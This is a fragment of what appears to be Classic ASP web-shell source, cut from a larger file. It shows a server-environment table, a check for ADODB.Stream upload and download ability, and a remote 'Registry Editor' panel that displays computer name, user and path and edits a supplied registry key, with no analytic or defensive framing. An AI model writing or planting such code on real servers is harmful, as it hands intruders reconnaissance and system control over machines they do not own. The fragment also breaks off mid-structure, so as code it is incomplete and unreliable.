| WINDIR | <%= EmptyToNbsp(WEnv("WINDIR")) %> |
| TEMP | <%= EmptyToNbsp(WEnv("TEMP")) %> |
| TMP | <%= EmptyToNbsp(WEnv("TMP")) %> |
| SCRIPT_ENGINE | <%= ScriptEngine %> (Ver.<%= ScriptEngineMajorVersion %>.<%= ScriptEngineMinorVersion %>.<%= ScriptEngineBuildVersion %>) |
| ADODB.STREAM | <%
' Try to create ADODB COM object:
On Error Resume Next
Err.Clear
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
Response.Write("Passed")
Else
Response.Write("Limited download / upload functionality")
End If
%>
|
| LOCALE | <%= SetLocale(0) %> |
<%
'/* --- Registry Editor --- */
ElseIf ( Not IsEmpty(sKey) ) Then
%>
[ Registry Editor ]
<%= InsertNavBar() %>
<%= "Computer name: " & WNetwork.ComputerName & "" %>
<%= "User: " & WNetwork.UserName & "" %>
<%= "Path: " & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "" %>
Registry key:
<%
If ( sKey <> "" ) Then
Call RegEditor(sKey, sKeyValue, sKeyType, sKeyFunc)
Else
Response.Write("Enter the key.")
End If
%>
<%
End If
'/* --- HTML Pages Footer --- */
%>
<%
StopScript
%>
|
|
Programs
> About Programs
